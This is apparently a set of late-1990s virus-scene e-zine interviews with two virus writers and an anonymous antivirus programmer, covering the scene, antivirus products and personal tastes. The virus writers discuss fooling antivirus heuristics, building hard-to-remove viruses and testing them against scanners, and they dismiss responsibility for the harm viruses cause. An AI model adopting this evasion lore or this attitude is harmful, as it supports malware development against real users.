about AVerz. To code kewl virus u must know OS and to analyse kewl virus, u need it same. It's wrong
to compare two uncomparable things, such as to code tiny COM infector and to analyse OneHalf.
It's often posssible to meet you on IRC. What's your favourite channel?
Yeah, I'm there very often, usualy 7 days in week. My favourite channels r #vir and #virus on Undernet.
Did you ever meet someone from the scene in person (e.g. on the scene meet last summer) If so, how
looks the meet like?
Hmm, not much. I think, there ain't any VX scene in czech republic. Many ppl may remember viruses
such as Halloween, Raptor, Semtex, etc. That time, when there weren't any Windozes, czech was full
of VX writers. Now, I don't know any ppl from Czech Republic, which is interested in Win viriis. That's a
pity. Our ppl r full of potential and entusiasm...
Now the same question, but the Dark side of the force - Czech AV producents - how are the products,
are they worth of testing against new viruses etc ...
I don't like czech AV products very much. I know, that czech AVAST! is the best scanner in the world.
AVAST! reached 100% border in Virus Bulettin as the first scanner in the world. But AVAST!, over
100% virus detection hasn't any heuristix, so I don't like it very much. Same as czech AVG. AVG has
heuristix for DOS files, but still not for Win32 files. That's baaaad. But let's wait... we will c...
Yeah, when I gave to one czech AV firm pattern of Win98.Milennium, they said, there ain't any viriis.
When I asked them, on which OS they tested it, they said: "Win95". I said, it is Win98 specific virus and
they replied: "hmmm, maybe." Ignorants!
Once, you told you know some AVG ppl, how is(are) the person(s) like?
Yeah, I know them, but I don't wanna explain here detaills, becoz they would have some problems with
it. Some other AV firm could say, they have contact with VX ppl and that could be big pain for Grisoft.
There ain't any contact, but however, ppl r jerx. Yeah, they have very nice secretaries (really! X-D) and
those ppl r very, very smart. But similarly as other AVerz, they say we VXerz r only kids without any
morals. But that is only their problem, rite? Nevertheless, I must say, that ppl from Grisoft r really very
smart. No doubt!
Now, let's discuss some vx technologies, what do you think about use and perspectives of stealth,
polymorphism, viruses under "other" operating systems ...
New operating systems, more holes, new/more places for viruses, new techs, etc. Viruses will stay with
us. We will find new techniques for our babes, new ways for hidin' them, new targets to infect, etc.
Now, it seems it will be metamorphism. What will be next? Who knows...
What do you think about payloads in viruses and especially the destructive ones?
Payload is the only thing, that should be visible to user. It's the way, how to show user virus presency.
But destructive payloads, they r all lame. Many users will have problems with it and many AVs will rig
money only becoz of some lammer. We will be more "persecuted" and we will have more and more
problems. Destructivity ain't product of smart ppl.
When I tried to code macrovirus for WinWord97, I did it in a minute. Macrovirus can be beginnin', but
codin' it is too much easy for ppl, which can do more than click and create. Normal viruses has more
chances to be spreaded out than macroviruses. Computer can run without editor, but not without OS.
However, I think macroviruses r still very perspective.
Are there some people from the vx & av scene you would like to meet in person?
I would like to meet every good VXer & AVer, whoever he is. I don't wanna say names here, becoz I
would forget someone...
What do you think about the manics who want to prosecute virus writers?
They r rite. I know, that modifyin'/deletin' valueable data ain't rite way, how to show what is inside of
me, but, but ...ehrm, ...but... I like taste of fame. Who not? X-D
Your relationship to beer, girls, inline skating and other important things:
Beer is da best thing in da world. Mmm, I can say, that I'm alcoholic, becoz I usualy drink 3, sometimes
more litters per week. And, have I ever said u, that 50% of my work was written, when I was drunk? X-
D No lie! Girls r something the most weird thing in da world. Who can understand them?
Favourite meal, drink, band, pub and the rest of the small joys of life:
I have many favourite meals, such as grill chix, pizza, hamburgers and so on. My favourite drink is beer
and juice. Music, music is one of my most favourite things. And becoz I'm very weird human, I like both
of light pop (e.g. ABBA) and hard rock (Lucie, Black Sabath, ...), sometimes I like also metal (Marilyn
Manson). I like groups, which plays their own style. I like originality and I hate commerce. When there
is group, which plays only for money, it ain't good band. And if there is group, which plays originaly and
plays its own style, I can always find something great in it. What I like is oldies, becoz they played their
own style, they had been originaly and they didn't play only for money.
My favourite pub? Hahaha, I would be very silly, if I would tell ya it. Sorry. But I can say, that I love
every pub, where I can find any czech beer.
My last <drug>, which I use is nikotin. Yeah, I smoke cigs. I try to stop that money washin', but it's too
hard for me X-D. Sometimes, I have a joint with my friends, but it's not very regulary.
Everyone today surfs the internet. Let's see someone of your favourites places on the web:
Hmmm, it's hard and I know I will forget some URLs for sure, but here r some URLs, I use regulary and
I like them...
Sure I have. Informations there r usualy 2 months old and in internet, u can find tons of pages, which r
absolutly better than mine. However, I like it and I'm proud for my Java: http://benny29a.cjb.net/
What about you plans for the future as coder and in general?
Hmm, I don't know, what will I do in the future. I know, that viriis r something, which I understand more
as anything other. Maybe, I will be next AVer, in the future. I know, u will hate me, but what other I
would like to do more than work with viriis. Other plans r very unbright. I would like to study university,
but I know I'm not so smart. Well, I hope I will do something, I will really like.
Thanx for givin' me place for talkin' about myself and I hope u weren't bored. See ya sometimes,
somewhere...
We are glad to present something really unusual - interview with a man from antivirus company who agreed
to have a talk (many of them didn't) about viruses, life, universe and everything. But we agreed about his
anonymity and we will respect it, of course. This interview is really good experience, so don't wait and go
ahead!
hello, we are glad you said yes to our request for interview
sure, no prob, but i want to stay unknown - you surelly can guess the reasons why :) it is not usual one
from antivirus side giving interview to other side
what is the reason you said yes? usually avers ignore our requests or say no
we have of course access to nearly all zines released on v-scene, because one have to watch for them
- to keep track of new technologies and of course i've also seen your previous issue, that was pretty
long time ago, and it was rather good. you are taking your job quite professionally
i started with viruses, let me think, some 11 years ago. my first XT played sometimes, usualy at 5
o'clock some mellody. of course, it was yankee doodle. after that, i discovered viruses and started to
colect and analyze them, being amazed what they can do. i worked already in assembler on my
previous computers, so i easily learned PC specific things - from tech-help, but i also found many
incompatibilities in it... after that, i wrote some single-purpose antiviruses, and, of course, started to
work on a real antivirus.
he-he, i think viruses started with you and not you with them
well, that's what it may look like. i've heard about viruses also before, but never could get one. only
when some virus got directly to me :-O
okay, from the very beginning on the good and right side ...
well, there are many losers on av-side (i will not name them, but one knows them all) that think they
are the only good side, and virus writers are the bad side which should be put into jail. they simply do
not THINK. usually, good virus writers are better than many anti-virus writers. but there are too few
good virus writers on the scene as well as there are too few really good antivirus writers. i don't like
words that many avers pronounce in hate about every virus writer is an evil. some avers must say so
because they can't say anything different (due to their policy and marketing) but they think differently -
like I present it here but many avers, usualy the worse ones, hate you. because there is too much of
work due to you.. they often forget they are making big money in many cases exactly due to you...
your got the point, averz are making money of the scene, wanna support our site with a bit of money?
:))) not at all.
noone wants, of course, just because there are too many viruses every day, and it costs lots of time
and money to prepare scan-strings (and optionally cleaning routines) for all of them usualy we are a bit
late to do so.
so we don't have any reason to support you.
let's be serious again. you were speaking of the av lamers. i agree there is a lot of av pussies around
who are dumb asses. Any comments to the datafellows story last week?
{put a link to the news here} well, i would not like to use such strong words. i can tell you a situation
which is usual, and of course similar is in our company: team of av programmers NEVER uses av
programs. :at first they are too lazy, and they are also a well trained to work with viruses during the
years. one can immediately notice nearly any virus activity. for example i've seen several thousands of
viruses (in debugger, or in disassm) but of course, we use real samples - for example we have several
ten-thousands of real infected programs to test our work. and sometimes accidents also happen: for
example i remember a case one of programmers in our team accidentaly ran one virus. and he infected
two computers this way and part of our virus collection.
and back to datafellows: i can see two reasons - they tested it (i don't think so), or someone like a
secretary started this infection by running vbscript in mailer. you must understand this: in av companies
not only av programmers are working. it is weird if they used their own virus protection on their
exchange server why it happened: it was either disabled, or not fully functional. there are sometimes
bugs in av technologies as well - like very common were bugs in OLE2 scanners with two-level
fragmented macros.
you said you are about 11 years working with viruses. your first av were single purpose. What viruses
the detected-removed?
don't remember exactly... some trivial ones, boot, com/exe - those what was hot. and a few years later i
experienced the polymorphic as well - with world famouse MtE, of course... it is pretty old now, but still
one of the best
MtE was imho big shock for AV industry, i know there were companies who were unable to reach 100%
detection for couple of months...
MtE was new and different. it was real breaktrough that forced us to change lots of our routines. there
weren't any similar breakthroughs ever since as i remember (no virus that changed principles and was
followed by hundreds and thousands of others)
yes, good detection takes many months, even as it was pretty discussed on virus-l and others.
everyone knows it, but many lame-like antiviruses weren't able to write detection routines. it filtered out
the really bad antiviruses, or they have to adapt. it also causes a big reconstruction of all antivirus
engines to nowadays state.
and any other major changes since the MtE? what about the number of viruses?
revolutionary changes? not exactly. OLE2 is a big change, but it is completely different filetarget. it was
also difficult because microsoft has usual reaction for publishing ole2 structure: "you don't need to know
it (ole2 document structure, or 'structured filesystem'), it is our internal format, use function available in
our libs" - but it is of course not enough for scanning for macros.
also there were other viruses that changed the things, but didn't become trends - they can be detected
by some other tricks so no need to rewrite scanning engines again completely.
well back to you. probably you joinned to some Av company or maybe you own one of them ...
:) ok, no comment about that. you can agree, i (and av company i'm from) wanted to stay anonymous.
but yes, i work for a av company, on some rather high job position but sill in av-coders team, of course.
i don't like managers :)
as aver you have to know the news from the virus scene. how you get on the news and new the
viruses?
we, i think, are best virus traders all around the world. if a new virus appear in one av company, it can
very soon reach others. but: many guys on av scene (exactly the types i don't like) are egoistics, etc
and they don't want to trated with XY because of something in a past, and XY don't talk with ZW
because of ... etc, etc. but if some of them have something interesting, something new, and another
one has something good as well, they can make an xchange bussiness even if they hate each other.
this way viruses travel all around the world.
there are many viruses that are only in those virus collections. many of them never appear in real life :)
its a strange av-world of shadows, hate and bussiness.
this way we also have all virus zines, etc. and of course, we have access to the virus-oriented BBS'
(but they disappeared already) and to the internet sites. but there aren't many good virus-oriented sites
on the internet. the rare exception, and today's hottest is, of course, yours.
today's trend in AV world is the buy_them_all policy of some companies. Your opinion?
you are right. now i will name some, because all it is known, so there is nothing to hide. NAI (old
McAffee) whose original scanner missed the train to the future and wasn't able to follow the changes
that other antiviruses had to do, is now buying every good piece of code because NAI wants to be still
in the bussiness. there's nothing just a money behind it. its rather pitty, but true. same as microsoft -
Money is power.
maybe once there'll be only one total antivirus (or speaking more general a protective system), and all
good programmers from the world who work on their own avirs now will be programming that.
it is good and not at the same: there is a monoppoly and might be no progress due to it. but if many av
programmers can join their experiences and work together, they can do another breakthrough on the
antivirus side. but the future waits for us, we'll see...
how is it to handle such a great number of viruses in a brief time. What is your opinion to the term "glut"
introduced by bontchev?
it is often too difficult. and leads us not to do our work as good as we can. there are too many viruses,
many of them are similar ones to another. we have a quite little team, and not enough time to check
them all. usual situation is we get a package of new viruses, and there is need to process them: we run
ours and other antiviruses to categorize them. there are offen viruses that we already have, or very
much of damaged viruses, etc (like virus that differs from original (dos example) only by int3
immediately after writting command int21 - someone stupid traced it and debuger left there breakpoint
at write command. it is pure shit, but you have to scan for it. so briefly check what is rubbish and what is
not, and choose scan-strings for those needed to be caught. and the work is done. there is not usualy
time for analyzis we do it only for some important viruses. even for cleaning it is enough to have a brief
look on the virus - because most of them are very simmilar
little team? if i read the websites, there is always number of the employees on it, and every company
claims they have at least 40 or 50 of them or NAI has hundreds of experts ....
they are kidding.
sure, there are many people employed, you need some secretaries, some managers, some
bussinessmans/reseller, etc, some supporting guys but real programmers, that do real work - there are
usualy too few of them.
moreover, you can't find let's say 40 people that really know their job (av). i think there are about 15-25
on the whole world! the rest are supporting programmers - they can do some easier disassemblies,
some cleaning routines, or pick scanstrings, if you teach them how to do it. of course they need to
know asm and system programming at suitable level. but real developers, there are usualy few of them
in the teams. they are head of antivirus companies, in fact but not beeing seen (in most cases).
too little number of programmers, so why then not to hire some vx-writers to fill the vacancies?
it is not applicable
at first, vx programmers are usualy kids (or likely - studying on the highschool or university), and when
they get into the real life, they have no more time to write viruses.. they need to have real jobs.
moreover, it is not applicable to employ some vx-writer due to reputation. if some other company hears
about it, they'll immediately publish it and destroy the company that employed such a programmer.
thats the regular bussiness game so there is no way to employ some active or oneone who was a vx-
writer even if you know him and you can trust him
AV programmers must be then poor exhausted individuals with no time. do they have a free time?
we are people too :) there is time to play quake or doom, time to go for a drink, and of course lots of
time for programming. but i think situation is similar as for others programmers: they usualy live in
some different computer world of screen, keyboard, quake, junk-food, pizza, and debugers. you surely
know
most valuable in the AV side is the Virus Bulletin award. any specialities bound with deadlines?
well there is always big plus when a company can issue a press release with something like "hi
customer, we are good, even virus bulletin was forced to acknowledge it ..." as for programmers it
means nothing but feeling you do your work well (plus bonuses), the sales department is more extatic
than we are. with deadlines it's always a problem - you can't do the work you planned in time - you
know murphy was imho too optimistic you can do the work you had to but then it doesn't work okay or it
could work okay but you never to it in time.
also, as i already mentioned, there are many shits in lots of virus collections. well, VB is rare exception
where all samples are more-less functional, but many av companies do not throw away those
corrupted files and judges antiviruses also on those non-functional samples. because there is no way
to test them all if they work, even more, virus might not be operational on your current PC any more...
this selection is very hard.
do you thing you'll earn your money from viruses all the live long?
progress in computers is really fast. noone can say if viruses will be here in 10 years. may be in global
cyberspace will be as good protection as no viruses or worms ar whatever can live there, or we will
have neural systems, or...
have you read neuromancer? ;)
i also can't asnwer if we can stand the AV vs V competition within next few years. but i believe we can,
we are i think one of the best.... and even more - may be sometime all we will be in NAI... ;-)))
let's discuss the techonoly of the AV programs, can you give brief chacteristics of some products?
we watch also for others, that's right, but it is difficult to see inside the other programs. i would like not
to point out good or bad ones. its kind of ethics and bussiness.
so let's be more general, kind of technological overview - technologies, strong and weak spots
there are several groups, lets start with dos (com/exe/boot) - usualy regular scanstrings are used,
might be enhanced by crcs or so, with a specialized subroutines for non-trivial things (some hard poly,
etc), of course some kind of generic decryption engine or emuler is also important.
for windows it is very simmilar, only loaders are different, and there are lotsa problems with emulation
as well.
finally ole2 - one needs to know structure, then it is simple - most of macros are unencrypted, just a
simple scanstrings are enough.
... that's just briefly. but you told me already you'll have also a dedicated article (or articles?) to these
descriptions. don't know about their quality, but to explain all the things there is not enought space in
one interview... but you can ask me some details, if you want. (may be i can/will answer, if it is not one
of our secret things ;)
the best i'm familliar with is turbo-debugger. it is not the best, but i used it in a past and as well as now.
another coder in our team is for example using afdpro :) (if you remember it)
of course, we have soft-ice and soft-ice/win for windows viruses. and we uses IDA (interactive
disassembler) for analyzis. i think it is best one. plus of course hiew for brief look-around, and some
our secret tools as well :))
now i'd like to put some personal question favorite movie, music, film, computer came etc
i like starwars. its fundamental sci-fi movie. i like science fiction, having hundreds of sci-fi books...
music: 80's, preferably, but not excluding house (right now i'm listening some Scooter's), as well as
beethoven. must be good.
and i'm not playing a computer games. not enought time, usualy. i've freezed somewhere at quake
time, now playing only to relax a networked quake :)
well thanx for your effort, was nice to talk you and send us some insider info we can do use of on the
stock market :P
was nice to talk with you too, wish you will success. well, it might be a some more work for us,
however, its always nice to see a good work. bye and keep not writing viruses :)
Who are you, where are you from and other personal stuff ...
Huh... I'm russian boy. I love techno, rave and much more. I do not care what type of music it is - if i like
the music i hear it. Not less than misic i like chicks. I do not have in my head some specific type of girl,
no i prefer different and definately lot of chick ;-P
Other time, i am sick of all the above things - then i sit to code viruses.
About 2.5 years ago (fall 1997) i got computer. in the very beggining i cant handle with it, then i started
to play computer games. It was fun but not very usefull. After a half year i told to myself - stop ! It's time
to do more serious things - and so i started learn programming. And in fall 1998 myself and GorLuM
(friend of mine) decided to found cracking group SMF
2 years ago friend's computer has been infected by One Half and there was shitload of serious
informations on the hard disk. He asked me to help him with removing the virus cos DrWeb was not
able to do it (but i did it).
Since then i was keen on viruses. In the biginning with the cleaning and fighting with then, the i started
to collect the virii. And in august 1998 (year ago!!!) i coded my first viruses (HLLP & BAT).
Yup :) when i run it. I test some viruses (Nutcracker, for example) and infect my home PC with them.
I like pascal, coz it's very easy language. Also i like Visual (Virusal ;-) Basic , coz many types of virii
coded in VB (Word97, Excel97, VBS, HTML).
It was quit late. From the very beginning i knew there is a "virus scene:, but i have no clue where i can
meet people with equal intereses. I didn't have access to the internet in dat time. And in the world-wide
scene i join jumped in the end of 1998 ...
My first virus.... Long time ago ... ;-) First virus was BAT-worm, very simple and lame. After that i wrote
couple of parasitic HLLP virii, so begun it all :)
And the sure followed next pieces from your workshop. Tell us more about them.
What your best virus you have ever written and what features it has?
I don't know ... I have a lot of ideas but i fail in some cases to realise them. What should be I proud of ?
Well I wrote first-in-the-world poly engine in Pascal. Before me no one did try it. I succeeded in
bringing the attention of russian virus scene to Pascal language. I am happy I have found people who
will follow and extend my work. I 've also coded smalest viruses in the world (Parasitic, Companion,
Overwrite) I like my demo-virii, demonstrating code optimisation (for example Companion.38 and
source code infector HLLP.Duke).
What's the history of SMF (what the hell should SMF mean), who's was the original idea of founding
SMF and who is member?
Group SMF has been found in fall 1998 by me and GorLuM`om to write cracks, demos and tools. After i
started with viruses (after DVL #2) pissed GorLuM left the group. That dudes who were interested in
virii did not left :) Now SMF members are Duke, SMT, Voodoo, CyberShadow. Also we have some
candidates to join. And... SMF = Super Malware Force.
Of course ;-))))))))))))) DVL it's Duke's Virus Labs. In the very begining SMF was cracking group and
only I was interesting in viruses. I wrote couple of viruses and articles and i had to release in somekind
of magazine (first number i finished long time ago and it was, let's say very primitive). And the name i
selected was quit simple - Duke's Virus Labs. Later in SMF appeared another virus writing member and
together we started issuing zine. Now the number of the authors is higher than ever before a the zine is
more professional. But in genelar - DVL is part of SMF group.
In the history of the virus writing community, there was thousands of viruses, some of them elite, other
absolute crap. What's your personal TOP 5 of viruses and why?
1. AVP - has big AV base, but there re poor in working with sigratures. Excellent heuristic for trivial
virii ;)
2. F-Prot - lot of virii in database, but uncorrect signatures.
3. DrWeb - russian AV, very good heuristic analiser for macro/win32 virii easy to fool
4. NOD - excellent heuristic for macro virii, but not good for DOS-virii
5. As macro antivirus excellent HMVS AV.
They are simly doing they job - making some money for their families - and not too bad at all. It is big
bussiness. But some of them are starting to take care of virus writers and they try to threat them. And
this is not good anymore ...
Yes :) Almost daily i am on IRC at channels #vir, #virus and #SMF. SMF group have official channel
#SMF and... it's my favourite channel ;)
Did you ever meet someone from the scene in person (e.g. on the scene meet last summer) If so, how
looks the meet like?
I met only some of the members;) But i would like to meet lot of virus writers - if they invite me to be
their guest ;-)))
What can you tell us about russian virus scene? We would like to see here quit detailed description
(groups, peoples etc)...
Russian scene is not only about viruses. I'd rather call it ex-USSR scene because we keep the
relationships with former parts of the union.
The oldest and most known group of russian scene is Stealth Group (ex-SGWW). Stealth Group seem
to be chimera for many beginning virus writers.
In the last time its activity has been reduced, they do not have site and for long time another issue of
IV-offline has not been released.
Zine Moon Bug, released by RedArc (ex-TAVC group) maybe will end its existence due the fact
RedArc is very bussy man. Now is work on #11 progress (already released now)
Group SPS releases LMD (Lamerz Must Die) zine. They are group of professionals from Belorussia,
but the zine is released on very irregular base and it is difficult to find (at least for me).
Group HAZARD Team from Ukraina is one of the most progressive. Its member Deviator is author of
very interesting viruses. I am very happy he cooperates with DVL.
Recently founded group Misdirected Youth from Moscow prepares release of the first issue of their
mag. Their work has been started by couple of articles in Moon Bug #10. This group can be new pn the
scene, but the members are old warriors of the virus scene.
Russian virus scene includes groups like CiD, SOS and such a famous vx personalities as SSR,
Z0MBiE, ULTRAS, Crkv, 2b and bunch of others. Russian scene is very very large and russians are
writing tons of viruses every month.
In the Russia, there are several companies writing AV programs. What programs they produce and
what are the features of them.
Kaspersky Lab produces whole pack of antiviruses AVP (for DOS, Win32, OS/2, Linux, Novell;
scanners, revisor, monitor). They differs, but in general they put there everithing which cames. Very
bad macro heuristic.
Dialogue Science produces DrWeb (scanners for DOS, DOS32, Win32; monitor) revisor ADINF (DOS,
Win32), ADINF Cure Module. Version for Linux and OS/2 they do not have :(( Heuristic is excellent,
which causes many fixes in virii during coding; but heuristic 4 Win32 and macro virii can be fooled,
under DOS - very easy to fool
What's your favorite AV program and why ? And what Av programs do you use to test your newest virii?
I'm use AVP, coz i am virii collector. I test my new virii with AVp, DrWeb, HMVS.
Now, let's discuss some vx technologies, what do you think about use and perspectives of stealth,
polymorphism, viruses under "other" operating systems ...
Good Stealth in Win9x - it's RING0 ;-P However I think it is important not to create hardly-detectable
viruses but hardly-removable instead. (like Win95.SK)
I would like to point that poly for Win32 has to be widely developed. And last but not least - all the oses
have to be defeated :))))
What do you think about payloads in viruses and especially the destructive ones?
Payloads manifests the viruses. If i write virus there is no place for payload in the code. If you want to
demonstate what do you want, it's better to write another virus (e.g. my Smoller) - in order the payload
wouldn't put shadow on some brilliant virus idea.
As for destructive payloads i accept it but do not have the need to misuse/implement them. Better is to
set its activation to certain date and not to rely on random numbers.
I forecast macroviruses for new platforms. Office macroviruses spread very fast and they re responsible
for a great proportion of infections. Therefore future belongs to macroviruses. They mutate very easy,
can carry various files (viruses for DOS and Win), they easily spread accross the internet (still
remember Melissa?).
Are there some people from the vx & av scene you would like to meet in person?
What do you think about the manics who want to prosecute virus writers?
It's stupid mans ! Author aren't guilty - people who run viruses are. Kalashnikov is not guilty of his AK-
47 daily kills tens of peoples - it 'd be so absurd...!!!
Your relationship to beer, girls, inline skating and other important things:
Yea! Without lot of words - these are veryy serious things ! As for beer i am "bezrazlichen", as for
girls.... well, you already know :))))
Favourite meal, drink, band, pub and the rest of the small joys of life:
meal - sandwich
drink - Coca-Cola ;-P~~~
band - ohh... too many ! E-Rotic and Bad Boys Blue for example.
pub - "MustDie" ;-))))
Everyone today surfs the internet. Let's see someone of your favourites places on the web:
http://www.hotmail.com :))))
http://www.avp.ch/avpve
NoMercy's page (now closed :((( ???)
http://www.chat.ru/~dvlabs - official page of DVL e-zine (virii, VX tools, virus trading and VX news)
http://www.chat.ru/~smf - official page of SMF group (cracks, demos, tools)
What about you plans for the future as coder and in general?
I prepare contributions for DVL #9 and couple of other zines. And i am going to take half year holliday -
without viruses - i wanna to pick up some chicks :-)